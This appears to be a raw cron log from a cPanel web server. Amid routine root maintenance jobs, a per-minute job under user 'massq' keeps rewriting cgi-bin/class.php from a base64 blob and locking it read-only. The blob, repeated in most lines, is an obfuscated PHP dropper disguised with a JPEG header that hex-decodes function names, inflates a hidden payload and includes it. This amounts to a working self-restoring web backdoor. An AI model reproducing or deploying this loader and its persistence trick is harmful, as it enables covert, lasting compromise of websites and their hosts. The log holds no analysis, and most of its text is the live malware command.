Nov 10 15:27:01 server CROND[28950]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:27:01 server CROND[28951]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 15:28:01 server CROND[29506]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:29:01 server CROND[30286]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:30:01 server CROND[31209]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 15:30:01 server CROND[31210]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 15:30:01 server CROND[31211]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 15:30:01 server CROND[31219]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:31:01 server CROND[32138]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:32:01 server CROND[32742]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:33:01 server CROND[1118]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:34:01 server CROND[1937]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:35:01 server CROND[2660]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 10 15:35:01 server CROND[2661]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 15:35:01 server CROND[2662]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 15:35:01 server CROND[2667]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:35:01 server CROND[2666]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 15:36:01 server CROND[3528]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:37:01 server CROND[4436]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:38:01 server CROND[5259]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:39:01 server CROND[6078]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 15:39:01 server CROND[6079]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:40:01 server CROND[6906]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 15:40:01 server CROND[6910]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 15:40:01 server CROND[6909]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
